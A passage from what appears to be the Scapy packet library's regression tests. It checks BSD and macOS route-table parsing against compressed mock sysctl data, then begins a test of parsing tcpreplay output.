['::1'], 1),\n    ('2002:ff00::', 24, '::1', 'lo0', ['::1'], 1),\n    ('fe80::', 10, '::1', 'lo0', ['::1'], 1),\n    ('fec0::', 10, '::1', 'lo0', ['::1'], 1),\n    ('fe80:3::1', 128, 'fe80:3::1', 'lo0', ['fe80:3::1'], 1),\n    ('ff01::', 16, '::1', 'lo0', ['::1'], 1),\n    ('ff01:3::', 32, 'fe80:3::1', 'lo0', ['fe80:3::1'], 1),\n    ('ff02::', 16, '::1', 'lo0', ['::1'], 1),\n    ('ff02:3::', 32, 'fe80:3::1', 'lo0', ['fe80:3::1'], 1)\n]\n\n= OpenBSD 7.6 GENERIC#531 i386 - read_routes6()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789ced96310e824010450717136269456141ac2cedac2dacaced3d808947905b781d8ee21138814836226477083b0ae89aff0a9a1966e7e5872c394dc32329228a68533ef71169ae87803a49bb5b16b1b816346b4583aa21992b8acb954fe7b5786efef20db4ef8e96ba68faaeb80929d1ac4dc6e16ca96fe5dc8fef58f9d6397d37df617d93896caf86afd5e087ef45b497ffbe37d15eb56f6e35f8e16be7f4cff9de995e27dfcc6ef0c23793ed35bc6f75ff26ba3840beca3cdba5f6c9fdcbcd1d2bdf8219e7f6fdda0dfde41b6adfedf39e347d59fb949dcb9e5dfaaab65a57bee67b5ee4fbf6ff86dde045be93dfc81700000000000000000000009f7900a834b765'))\n\n\nwith BSDLoader(OPENBSD=True, sysctldata=_PFROUTE_DATA, AF_INET6=24, IS_64BITS=False) as pfroute:\n    routes = pfroute.read_routes6()\n\nassert routes == [\n    ('::', 96, '::1', 'lo0', ['::1'], 1),\n    ('::1', 128, '::1', 'lo0', ['::1'], 1),\n    ('::ffff:0.0.0.0', 96, '::1', 'lo0', ['::1'], 1),\n    ('2002::', 24, '::1', 'lo0', ['::1'], 1),\n    ('2002:7f00::', 24, '::1', 'lo0', ['::1'], 1),\n    ('2002:e000::', 20, '::1', 'lo0', ['::1'], 1),\n    ('2002:ff00::', 24, '::1', 'lo0', ['::1'], 1),\n    ('fe80::', 10, '::1', 'lo0', ['::1'], 1),\n    ('fec0::', 10, '::1', 'lo0', ['::1'], 1),\n    ('fe80:3::1', 128, 'fe80:3::1', 'lo0', ['fe80:3::1'], 1),\n    ('ff01::', 16, '::1', 'lo0', ['::1'], 1),\n    ('ff01:3::', 32, 'fe80:3::1', 'lo0', ['fe80:3::1'], 1),\n    ('ff02::', 16, '::1', 'lo0', ['::1'], 1),\n    ('ff02:3::', 32, 'fe80:3::1', 'lo0', ['fe80:3::1'], 1)\n]\n\n= FreeBSD 14.1 amd64 - read_routes()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n\nfrom scapy.arch.bpf.pfroute import _bsd_iff_flags\n_FREEBSD_IFACES = {1: {'name': 'lo0', 'index': 1, 'flags': FlagValue(32841, _bsd_iff_flags), 'mac': '00:00:00:00:00:00', 'ips': [{'af_family': 28, 'index': 1, 'address': '::1', 'scope': 16}, {'af_family': 28, 'index': 1, 'address': 'fe80::1', 'scope': 32}, {'af_family': 2, 'index': 1, 'address': '127.0.0.1'}]}, 2: {'name': 'hn0', 'index': 2, 'flags': FlagValue(34883, _bsd_iff_flags), 'mac': '00:15:5d:00:65:07', 'ips': [{'af_family': 28, 'index': 2, 'address': 'fe80::215:5dff:fe00:6507', 'scope': 32}, {'af_family': 2, 'index': 2, 'address': '172.23.198.182'}]}}\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789c136064656162606060e660603067200ceeb012a18808c008a55970c80b3061f2d7881f60c4256f21c4c4c0c6ccc6909167c0201acb90ca4ea43b20e61edb8670182b0bc8125606010663620c7020d2220280118d46072077d623490b0831324820c95b80f8cc0c0c39f90624d98b612e343d3002fd3f10e98109873c34fe117c507ca3c9ffffff01cea77a7ae01898f4c08c431edd9de8e141adf40000e8611aa8'))\n\n\nwith BSDLoader(FREEBSD=True, sysctldata=_PFROUTE_DATA, ifaces=_FREEBSD_IFACES, AF_INET6=28) as pfroute:\n    routes = pfroute.read_routes()\n\nassert routes == [\n    (0, 0, '172.23.192.1', 'hn0', '172.23.198.182', 1),\n    (2130706433, 4294967295, '0.0.0.0', 'lo0', '127.0.0.1', 1),\n    (2887237632, 4294963200, '0.0.0.0', 'hn0', '172.23.198.182', 1),\n    (2887239350, 4294967295, '0.0.0.0', 'lo0', '127.0.0.1', 1),\n    (3758096384, 4026531840, '0.0.0.0', 'lo0', '127.0.0.1', 250),\n    (3758096384, 4026531840, '0.0.0.0', 'hn0', '172.23.198.182', 250)\n]\n\n= FreeBSD 14.1 amd64 - read_routes6()\n~ mock_read_routes_bsd little_endian_only\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789ce5553b0e8240109d593e62b72121b1a0e00824165a72042e40696261f40a1ecd837816101236c28461872801e36bb678f3797979bb9ba3e722006c0380030890498aecc0f6f4193e8ec7fb191e295f75d02d3c86083b07e0724b457aa57b93d64f2fd0b0970ccc26ad6781e4a4b0e9d68d1f1d622e7ff29fc95b3f2f6bcddbdafd2cefe33c33f6ede763b87f2e3fb3d64f04bd889f0ec3737e9a3e7a7f691ee9bc4ffd233ad0e858fafd530c6fd3fdedf78fdbd3e44b813c5f4f6fd27a16663f378ecb97f15387aa77d7edf9aaeb1d1fced714a2024e1ba14eaa43454555d6ed46c7d2f97219dea69bfaf7afff41c55c50f9ff3adc3f979f2f44725d78'))\n\n\nwith BSDLoader(FREEBSD=True, sysctldata=_PFROUTE_DATA, ifaces=_FREEBSD_IFACES, AF_INET6=28) as pfroute:\n    routes = pfroute.read_routes6()\n\nassert routes == [\n    ('::', 96, '::1', 'lo0', ['::1'], 1),\n    ('::1', 128, '::', 'lo0', ['::1'], 1),\n    ('::ffff:0.0.0.0', 96, '::1', 'lo0', ['::1'], 1),\n    ('fe80::', 10, '::1', 'lo0', ['::1'], 1),\n    ('fe80::', 64, '::', 'lo0', ['fe80::1'], 1),\n    ('fe80::1', 128, '::', 'lo0', ['fe80::1'], 1),\n    ('fe80::', 64, '::', 'hn0', ['fe80::215:5dff:fe00:6507'], 1),\n    ('fe80::215:5dff:fe00:6507', 128, '::', 'lo0', ['::1'], 1),\n    ('ff02::', 16, '::1', 'lo0', ['::1'], 1),\n    ('ff00::', 8, '::', 'lo0', ['::1', 'fe80::1'], 250),\n    ('ff00::', 8, '::', 'hn0', ['fe80::215:5dff:fe00:6507'], 250)\n]\n\n= NetBSD 10.0 amd64 - read_routes()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n\nfrom scapy.arch.bpf.pfroute import _bsd_iff_flags\n_NETBSD_IFACES = {1: {'name': 'hvn0', 'index': 1, 'flags': FlagValue(34883, _bsd_iff_flags), 'mac': '00:15:5d:00:65:0a', 'ips': [{'af_family': 24, 'index': 1, 'address': 'fe80:1::7184:2b50:9fbe:e337', 'scope': 32}, {'af_family': 2, 'index': 1, 'address': '172.23.207.191'}]}, 2: {'name': 'lo0', 'index': 2, 'flags': FlagValue(32841, _bsd_iff_flags), 'mac': '00:00:00:00:00:00', 'ips': [{'af_family': 2, 'index': 2, 'address': '127.0.0.1'}, {'af_family': 24, 'index': 2, 'address': '::1', 'scope': 16}, {'af_family': 24, 'index': 2, 'address': 'fe80:2::1', 'scope': 32}]}}\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789c3bc1c0c2c2c8c0c0c00cc4e60ca8c08a91816640800993bf46fc00868d42428c0c6c2c6c0c196579060ca2b10ca95cc8eacfef87a93b00f407c8486e0e4c7f600311cd94b81ed5ddf5987cb83f58ff0301c85d424c0c12c040cec937c0aa6e07d4fdac0c2c0cc6f4773fdc1de8ee24e4ee0bd0f4c3c88819ee2c2cd471232e7703d30b9c0f4e2758d4b183c2ffff0792d311b1f1402d80ee0e5cfec1161fc8fa6640e383550592a769058cef5d4943e6a3e75f3eb0fb813e108d15fa5c404387e000001e173214'))\n\n\nwith BSDLoader(NETBSD=True, sysctldata=_PFROUTE_DATA, ifaces=_NETBSD_IFACES, AF_INET6=24) as pfroute:\n    routes = pfroute.read_routes()\n\nassert routes == [\n    (0, 0, '172.23.192.1', 'hvn0', '172.23.207.191', 1),\n    (2130706432, 4294967040, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2130706433, 4294967295, '0.0.0.0', 'lo0', '127.0.0.1', 1),\n    (2887237632, 4294967295, '0.0.0.0', 'hvn0', '172.23.207.191', 1),\n    (2887241663, 4294967295, '0.0.0.0', 'lo0', '172.23.207.191', 1),\n    (2887237633, 4294967295, '0.0.0.0', 'hvn0', '', 1),\n    (3758096384, 4026531840, '0.0.0.0', 'hvn0', '172.23.207.191', 250),\n    (3758096384, 4026531840, '0.0.0.0', 'lo0', '127.0.0.1', 250)\n]\n\n= NetBSD 10.0 amd64 - read_routes6()\n~ mock_read_routes_bsd little_endian_only\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789ced97b14ec3301445af4da8aa964a5544a50e1dd8592a31f01b8c2c1d2b31205017d65682ffe86f30213e8331123fd09109d3368a8127fbd9898c2c87de29ce4dac77749f1d0722cb24807e17b8845bd78f1e0f7968326ee48bea62a40cdadeefe712e323e0f67eea350f12e53f35e3d7e67f43c97f8c0c171e75ff31bfae8b72a49cebd2e1a3e57d5d387c38f837489b5f397cb43a7fa5787fafe0fbda07e2f29f89c133e713e9ba4f52e796bc4ff4bddfffc64e907bc9fa442de22e589fc8c0bd29c7c9712bd6276a4dde9f2bde27d275f72aead772dc847b3710c28f3b947e700b939fe7021dc3fd21f986ed9fcb3ab879b89b6234c3bc679e7ff1747eb57e79d78845cdf37928b9eab271db72b5cd53f5f3ce8c94abf18b65f1750fd07c196ee3fb75ffbb42c95597ef7f97edfdd8eb54897aeb949eb79aae53ddc79edca1f7e52d37dbc74441cf9b51f396ff346f1927ef830efa028ffb7c47'))\n\n\nwith BSDLoader(NETBSD=True, sysctldata=_PFROUTE_DATA, ifaces=_NETBSD_IFACES, AF_INET6=24) as pfroute:\n    routes = pfroute.read_routes6()\n\nassert routes == [\n    ('::', 104, '::1', 'lo0', ['::1'], 1),\n    ('::', 96, '::1', 'lo0', ['::1'], 1),\n    ('::1', 128, '::', 'lo0', ['::1'], 1),\n    ('::127.0.0.0', 104, '::1', 'lo0', ['::1'], 1),\n    ('::224.0.0.0', 100, '::1', 'lo0', ['::1'], 1),\n    ('::255.0.0.0', 104, '::1', 'lo0', ['::1'], 1),\n    ('::ffff:0.0.0.0', 96, '::1', 'lo0', ['::1'], 1),\n    ('2001:db8::', 32, '::1', 'lo0', ['::1'], 1),\n    ('2002::', 24, '::1', 'lo0', ['::1'], 1),\n    ('2002:7f00::', 24, '::1', 'lo0', ['::1'], 1),\n    ('2002:e000::', 20, '::1', 'lo0', ['::1'], 1),\n    ('2002:ff00::', 24, '::1', 'lo0', ['::1'], 1),\n    ('fe80::', 10, '::1', 'lo0', ['::1'], 1),\n    ('fe80:1::', 64, '::', 'hvn0', ['fe80:1::7184:2b50:9fbe:e337'], 1),\n    ('fe80:1::7184:2b50:9fbe:e337',\n     128,\n     '::',\n     'lo0',\n     ['fe80:1::7184:2b50:9fbe:e337'],\n     1),\n    ('fe80:2::', 64, 'fe80:2::1', 'lo0', ['fe80:2::1'], 1),\n    ('fe80:2::1', 128, '::', 'lo0', ['fe80:2::1'], 1),\n    ('ff01:1::', 32, '::', 'hvn0', ['fe80:1::7184:2b50:9fbe:e337'], 1),\n    ('ff01:2::', 32, '::1', 'lo0', ['::1'], 1),\n    ('ff02:1::', 32, '::', 'hvn0', ['fe80:1::7184:2b50:9fbe:e337'], 1),\n    ('ff02:2::', 32, '::1', 'lo0', ['::1'], 1),\n    ('ff00::', 8, '::', 'hvn0', ['fe80:1::7184:2b50:9fbe:e337'], 250),\n    ('ff00::', 8, '::', 'lo0', ['::1', 'fe80:2::1'], 250)\n]\n\n= Darwin 23.6 (MacOS 14.5) x86_64 - read_routes()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n\nfrom scapy.arch.bpf.pfroute import _bsd_iff_flags\n_DARWIN_IFACES = {1: {'name': 'lo0',  'index': 1,  'flags': FlagValue(32841, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': [{'af_family': 2, 'index': 1, 'address': '127.0.0.1'},   {'af_family': 30, 'index': 1, 'address': '::1', 'scope': 16},   {'af_family': 30, 'index': 1, 'address': 'fe80:1::1', 'scope': 32}]}, 2: {'name': 'gif0',  'index': 2,  'flags': FlagValue(32784, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': []}, 3: {'name': 'stf0',  'index': 3,  'flags': FlagValue(0, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': []}, 4: {'name': 'XHC2',  'index': 4,  'flags': FlagValue(0, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': []}, 5: {'name': 'en0',  'index': 5,  'flags': FlagValue(34915, _bsd_iff_flags),  'mac': '52:54:00:09:49:17',  'ips': [{'af_family': 30,    'index': 5,    'address': 'fe80:5::409:eec9:f06c:50ab',    'scope': 32},   {'af_family': 30,    'index': 5,    'address': 'fec0::89e:daf7:5cb1:f1f0',    'scope': 64},   {'af_family': 30,    'index': 5,    'address': 'fec0::c0c4:1f0b:61ba:ea8',    'scope': 64},   {'af_family': 2, 'index': 5, 'address': '10.0.2.15'}]}, 6: {'name': 'utun0',  'index': 6,  'flags': FlagValue(32849, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': [{'af_family': 30,    'index': 6,    'address': 'fe80:6::d36e:82de:94dc:84fc',    'scope': 32}]}, 7: {'name': 'utun1',  'index': 7,  'flags': FlagValue(32849, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': [{'af_family': 30,    'index': 7,    'address': 'fe80:7::7ce2:1f7b:2c29:a5ee',    'scope': 32}]}, 8: {'name': 'utun2',  'index': 8,  'flags': FlagValue(32849, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': [{'af_family': 30,    'index': 8,    'address': 'fe80:8::e4e0:bef:bf56:2605',    'scope': 32}]}, 9: {'name': 'utun3',  'index': 9,  'flags': FlagValue(32849, _bsd_iff_flags),  'mac': '00:00:00:00:00:00',  'ips': [{'af_family': 30,    'index': 9,    'address': 'fe80:9::ce81:b1c:bd2c:69e',    'scope': 32}]}}\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789ccdd94d6813411400e0d9ddcc36e6608d4472a950a8e0d183e8a1a7da5a503008012948b11eaa78f0e6498b180a45c1802d08164f7ab3f4208817b1e84a0ff647ea0fd2832815a5e021018f518931dbce6c5e76df6cb2e36c3a0325bce936fbf5bdd96176669ad00c2584584963e060fd7382e0ed3315fc22a4ed3183718a98260df675f3b8c83c5dc41ceeab7f1acca6ca6366922f451ebf6596598c5d84b8b9f1fd3b01cb8bc58f17a35852e01b337b29b17dd774d5b65a4b97a1dee5c1305772db55f3bba6998b26cc7d6eedf2cc2872ed5ffe5f974df2671abd211eea7a4ce0d9403c59816703e963f7b2508f857b3a5037ef5e72751b34fa581fcf9305fe9ebb4a029785f4b17bd59a5d3661431bb5fbe700b76e2ae780eef2d4619f4f3807c43d1fa5b3e753da587ad7e7b4b11c583aad8d65fe50561bcbc29de7fa589e7c93b5a87ea6d30bcf6eca5a12c082cd77a2269aefd295d280ac45798d2aa541598b052c70edd3ca82ad93986548d612435e8ecb5a605e145986652deaf3f23ba19185c2b83d8b7d8caf61c2c6eedbf7f81a463876ab3d7fa25b62ca4bf5c81b8d2c6b1a59dee96339b9aa8f25b72c6b513ed755732bd12dc1671abe3b71cb9ae099c6deb3b62d97af47b7c455a3196dde03b2fd4e8f4696c72a2cd8781135d178a95bd655586093cfcbab823616e7fb2f590b7c0f505223a72cfd1e10836556d6a2be46e5872a2c2af27234f76053850536d9bc8c54c61fe96219bdf6e9be2e96b1f1a913ba582e5d397bbb5dcbddbac5bd3fdf631536a873d84f1b961bc1d81be6946d69fafb8bcc44492fe1f38cc7680ac24d4dd70a0cade2b035d529f0bdbc56b73ee06b2af7daa7be7abaf72ae6af5a30dec93da17b17266c184739eb1135d9bdf9b9bf8d18db9bb7d97e78a773e46c7e1983f14e3ee7af7fcc27dbb534ea5588e52ce52b88b17ab9cffa4fc4c573441393e02ca520744569cce5ed43ec6667290639b7d5dbe931dd38c18976def40fb15043e2'))\n\n\nwith BSDLoader(DARWIN=True, sysctldata=_PFROUTE_DATA, ifaces=_DARWIN_IFACES, AF_INET6=30) as pfroute:\n    routes = pfroute.read_routes()\n\nassert routes == [\n    (0, 0, '10.0.2.2', 'en0', '10.0.2.15', 1),\n    (167772672, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (167772674, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (167772674, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (167772675, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (167772687, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (167772927, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (2130706432, 4294967040, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2130706433, 4294967295, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2851995648, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (3758096384, 4043308800, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (3758096635, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1),\n    (4294967295, 4294967295, '0.0.0.0', 'en0', '10.0.2.15', 1)\n]\n\n= Darwin 23.6 (MacOS 14.5) x86_64 - read_routes6()\n~ mock_read_routes_bsd little_endian_only\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789cd5dd5f8c13451800f0d96dbbdb5e8fbbdaebfd114eaf08148fdc830124045f0a1581981062f48c8698c32022313c1925c2c381f8a0a28290887f728644e0d0aa60ce80e60897887fe08120f060cc051030218af74713088a60b73b5bda6e77f73a33fbcd7dfbc27667d2fefaddb7dfcc6cb7a58f84122142488028e9e9b97f8f90cadb60c8a1c1656bbddbbbed6637297e6635e4d01e8c0c1d1b797ed9a7c67e5fceac99e6f9d35d5edf47b3567c5c73683fbd76d3d91d839b6f58667d0ce695fe99f5e2e3ba43fb860b6deb3bda770f59e6f018cc277597463e73b8f878d8a1fdd2f9e8f091ce54c83247c660be1cf0cd1c293e1e71683fb131da7ab843eb31f6f7e7cc4aeedf503049a6b801d2c2cc0a4fdb7e5a3374a2cdb7bc46fd28ef6c9d7f43a7ceacaad69b5416772d56c94c7a784e715ba59ae1562faaf5fec9ed55d6417a39e23b9b1ec6125fea858d2f87770e32ef5c19de1106efd4e06a920e8669894f0620bd2cf14d91ad64f2dbf308894df8f9a9f4f65d38bcab9079d722f36e42e67d1f99770099f72832ef6554ded4d3130999747c70188db70399772632ef1a64deadc8bcfdc8bcc79179cf48f18eb278833db96585d26e8a6a4aae31f8edbdc4e2d5ee25eaac7f546dfd475757e8e159905e96f57c4a5b5438b63a9eb880cbdb08eabdc2ea8d516f22f0072e6f10d4cb9c0f96b729b810973704ea1de6f64eedc2e59d06ea651a8f4bbcb33b7179ef17e455171a5ec5c35bcd56d93bef075cde07047961c68b6ca6a1458c1726bed94ce345315e98f1229b69fe1dd2cb5b1fb299d41a482fef7891cdcc3826c6eb73fe26cdfdd513b5cd62bcfe7dde52ead541bdccf95bf086f7e1f24640bdcce75bc15bb71797b71ed4cb7bbe65338bbe87f4f2c6379b79380de9e53ddf72de51482ff3fc61b2b9ffe633eb6a9079a390deeb2c5efdef652430ed3962ce226a21bd4ce75ba977022e6f12597c93a0f13df5138337a92c21d763f4110922f14e43e64d21f35ab7c0a2f0aae180e5ba0b99f76e245eeb56752cf1b5ee2c9f24c66baee7831ede6ab6626fcd68e1700c85f7aa68af8f9f1f27952bd17385c30b20bdd718bc334862595a0fd36748aa905e96f90ef5d2af582441c70b96f531f5d6522fe8fd041cf1ad93e165591f9779c3905e8ef8d22bc0b0e71b4b3da3de06195e8ef85a5e0dd2cb91bf2dd45b87c43b917ab1d433cb0b9abf2cd7a3cabca0d7cf583e8f2df382e6ef632c5ee560ba462d4c8041f3e1257e2fe87c6711bf17743c6e64f56a9657d929c6ebdfe7b1796fb8105fd0f1ed04c3fa38ef6db29e5201bd7f5280f72f48efbfacf9db34629140c76301de00a49769be53eabd538cd7e7fad06279c9f85fbf957a41f3e11cb357cefc813dbe72e60fccf537791f3d2aaafefa7cbea5909d6fb7bd3aa497793e999233dfb9c9ea9d5fd76d8a60f3418017b49eb5f27b41c70b01f105adbf02bc2164def17fbd2fe76de832eb426e038daf002fb6f8828e6f02bca0d74b047823c8bca0d753057841ef4714e005bd5f4e8017f47e39015ed0ebebcff27beb21bd02e20b7a7f8900ef1d905ea6fb4bd4d45c73964e9f1ed0cbf47961a917b49e317d7ea1a646b46e53bcfce53def427a99ee8729f57e8bccfb1ba497e97e8d9c771bad0b5db1eba0eb0b015ed0f585002fe8fa428017747d21c00bbabe6862f72e34f69b17c37ae3fcde6648af80f80ababf1a2cbe6d90de667e6f1299773232ef3dc8bc539079a7427a1f62f686bb2909f4f7f038bcafcbf03eceed6d7e02d2cb11df2d9484251fb6c9f072e4c376f3119a7cf89a9240e39b64f6d6bf623e8a7f07e97d92dd4bebc383a0df2fe4f06e91e1e5c887f7cc47b0f9c03e5f6fd8489f612912ef6b32bcacd727735e29f3878becde3764787f65f7be23c3cb910fdb917977caf0b2cf771a3e301fc1ce7738ceb70f2909cbf9d623c3cb91bfbb647839f2618f0c2fc7f946bdb0e71b47feeea5242cf9db2bc3cb11df7d32bc1cf3c94fe83380ce27c9695e6f3be8fd041cde2c32ef67c8bc9fcbf0728c6f5f5012687de0882ff5a2c9870332bc1ce3c5979484251ffacc4768f2e12b64de8332bc1cf5ec102561c95fea858def7fccf16da4d74b26fc88c4db23c3cb743fad9aba463e26247b7e45a8bc6d9c7bf5f2b671eead41e6ad45e6ad47e68d61f12a4d86f72d34f940bd75d0de192cdee0d205e6afbc1a9bfe22a497e9f7b90cef1aeb68f055486f1bb7577f81c73b90f31a5f3c5188a24c27a4f02514db667b0763f7e65ed7f6b40e6df9fdd8add2cdad6f2ff5878249650a8c3fbf9f882ba4a58afe87685e28b9401b71561d5e93e7772bcafef6c47486cc2ff8166d2ef1b5e5472f7587826aa311dfe3f43df8e8566fbb35f248272904cbcb599c078e5b9adf59fcba05e7a324b2a4d9bbbf71be197f0feb7cf3290fcaffe4b6b6d36b379ddd31b8f986b1ef920fb6be4071b6bd6e22aed992ceadbf11676332ed15e7957c71d6bdda365c685bdfd1be7bc8d87789b3ad2f509c6daf9b88eb6e71b6f537e26c7c01c52bce276d91aaca19f66abb743e3a7ca43395ff6bbac4d9d61728ceb6d74dc4c36e71b6f537e26c7c11c52bce97035cce8857db898dd1d6c31d5afe5a804b9c6d7d81e26c7bdd443ce216675bffa2719af8569f07ec6d02c7e9427c15fac68bdf8397bbd2fb7570f38ed3c4b73ca0ce70cf2fd7961f181d2971561aa72bf487740e1c6d8baef8a6ae77accee2fefdd6fc5de956acff7045b4f3964b5bd996cfb88895b01efdfa0ae79abb9de75cab64af74ae553257cadf7e6bfe066c769beb38d86dfdfaad3991879d674ee461b7cd1f1cecb67efdd63cc3c3ce33cff0b0dbc66407bbad5fbf35767bd879c66e0fbb6d9c73b0dbfa81d4970aeb49b7ba515b614cacd40fa4be28635b7357324bab2f4a75eb4307bb9cfaa254b7e672b0cba92f4a75eb1807bb9cfaa254b73670b0cba92f2ae2faa222ac2f2ae2faa222ae2f2ae2faa2fa535ffe079dfe8806'))\n\n\nwith BSDLoader(DARWIN=True, sysctldata=_PFROUTE_DATA, ifaces=_DARWIN_IFACES, AF_INET6=30) as pfroute:\n    routes = pfroute.read_routes6()\n\nassert routes == [\n    ('::', 0, 'fe80:5::2', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('::', 0, 'fe80:6::', 'utun0', ['fe80:6::d36e:82de:94dc:84fc'], 1),\n    ('::', 0, 'fe80:7::', 'utun1', ['fe80:7::7ce2:1f7b:2c29:a5ee'], 1),\n    ('::', 0, 'fe80:8::', 'utun2', ['fe80:8::e4e0:bef:bf56:2605'], 1),\n    ('::', 0, 'fe80:9::', 'utun3', ['fe80:9::ce81:b1c:bd2c:69e'], 1),\n    ('::1', 128, '::1', 'lo0', ['::1'], 1),\n    ('fe80:1::', 64, 'fe80:1::1', 'lo0', ['fe80:1::1'], 1),\n    ('fe80:1::1', 128, '::', 'lo0', ['fe80:1::1'], 1),\n    ('fe80:5::', 64, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('fe80:5::2', 128, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('fe80:5::409:eec9:f06c:50ab', 128, '::', 'lo0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('fe80:6::', 64, 'fe80:6::d36e:82de:94dc:84fc', 'utun0', ['fe80:6::d36e:82de:94dc:84fc'], 1),\n    ('fe80:6::d36e:82de:94dc:84fc', 128, '::', 'lo0', ['fe80:6::d36e:82de:94dc:84fc'], 1),\n    ('fe80:7::', 64, 'fe80:7::7ce2:1f7b:2c29:a5ee', 'utun1', ['fe80:7::7ce2:1f7b:2c29:a5ee'], 1),\n    ('fe80:7::7ce2:1f7b:2c29:a5ee', 128, '::', 'lo0', ['fe80:7::7ce2:1f7b:2c29:a5ee'], 1),\n    ('fe80:8::', 64, 'fe80:8::e4e0:bef:bf56:2605', 'utun2', ['fe80:8::e4e0:bef:bf56:2605'], 1),\n    ('fe80:8::e4e0:bef:bf56:2605', 128, '::', 'lo0', ['fe80:8::e4e0:bef:bf56:2605'], 1),\n    ('fe80:9::', 64, 'fe80:9::ce81:b1c:bd2c:69e', 'utun3', ['fe80:9::ce81:b1c:bd2c:69e'], 1),\n    ('fe80:9::ce81:b1c:bd2c:69e', 128, '::', 'lo0', ['fe80:9::ce81:b1c:bd2c:69e'], 1),\n    ('fec0::', 64, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('fec0::2', 128, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('fec0::89e:daf7:5cb1:f1f0', 128, '::', 'lo0', ['fec0::89e:daf7:5cb1:f1f0'], 1),\n    ('fec0::c0c4:1f0b:61ba:ea8', 128, '::', 'lo0', ['fec0::c0c4:1f0b:61ba:ea8'], 1),\n    ('ff00::', 8, '::1', 'lo0', ['::1'], 1),\n    ('ff00::', 8, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('ff00::', 8, 'fe80:6::d36e:82de:94dc:84fc', 'utun0', ['fe80:6::d36e:82de:94dc:84fc'], 1),\n    ('ff00::', 8, 'fe80:7::7ce2:1f7b:2c29:a5ee', 'utun1', ['fe80:7::7ce2:1f7b:2c29:a5ee'], 1),\n    ('ff00::', 8, 'fe80:8::e4e0:bef:bf56:2605', 'utun2', ['fe80:8::e4e0:bef:bf56:2605'], 1),\n    ('ff00::', 8, 'fe80:9::ce81:b1c:bd2c:69e', 'utun3', ['fe80:9::ce81:b1c:bd2c:69e'], 1),\n    ('ff01:1::', 32, '::1', 'lo0', ['::1'], 1),\n    ('ff01:5::', 32, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('ff01:6::', 32, 'fe80:6::d36e:82de:94dc:84fc', 'utun0', ['fe80:6::d36e:82de:94dc:84fc'], 1),\n    ('ff01:7::', 32, 'fe80:7::7ce2:1f7b:2c29:a5ee', 'utun1', ['fe80:7::7ce2:1f7b:2c29:a5ee'], 1),\n    ('ff01:8::', 32, 'fe80:8::e4e0:bef:bf56:2605', 'utun2', ['fe80:8::e4e0:bef:bf56:2605'], 1),\n    ('ff01:9::', 32, 'fe80:9::ce81:b1c:bd2c:69e', 'utun3', ['fe80:9::ce81:b1c:bd2c:69e'], 1),\n    ('ff02:1::', 32, '::1', 'lo0', ['::1'], 1),\n    ('ff02:5::', 32, '::', 'en0', ['fe80:5::409:eec9:f06c:50ab'], 1),\n    ('ff02:6::', 32, 'fe80:6::d36e:82de:94dc:84fc', 'utun0', ['fe80:6::d36e:82de:94dc:84fc'], 1),\n    ('ff02:7::', 32, 'fe80:7::7ce2:1f7b:2c29:a5ee', 'utun1', ['fe80:7::7ce2:1f7b:2c29:a5ee'], 1),\n    ('ff02:8::', 32, 'fe80:8::e4e0:bef:bf56:2605', 'utun2', ['fe80:8::e4e0:bef:bf56:2605'], 1),\n    ('ff02:9::', 32, 'fe80:9::ce81:b1c:bd2c:69e', 'utun3', ['fe80:9::ce81:b1c:bd2c:69e'], 1)\n]\n\n############\n############\n+ Mocked _parse_tcpreplay_result(stdout, stderr, argv, results_dict)\n~ mock_parse_tcpreplay_result\n\n= Test mocked _parse_tcpreplay_result\n\nfrom scapy.sendrecv import _parse_tcpreplay_result\n\nstdout = \"\"\"Actual: 1024 packets (198929 bytes) sent in 67.88 seconds.\nRated: 2930.6 bps, 0.02 Mbps, 15.09 pps\nStatistics for network device: mon0\n        Attempted packets:         1024\n        Successful packets:        1024\n        Failed packets:            0\n        Retried packets (ENOBUFS): 0\n        Retried packets (EAGAIN):  0\"\"\"\n\nstderr = \"\"\"Warning in sendpacket.c:sendpacket_open_pf() line 669:\nUnsupported physical layer type 0x0323 on mon0.  Maybe it works, maybe it won't.  See tickets #123/318\nsending out mon0\nprocessing file: replay-example.pcap\"\"\"\n\nargv = ['tcpreplay', '--intf1=mon0', '--multiplier=1.00', '--timer=nano', 'replay-example.pcap']\nresults_dict = 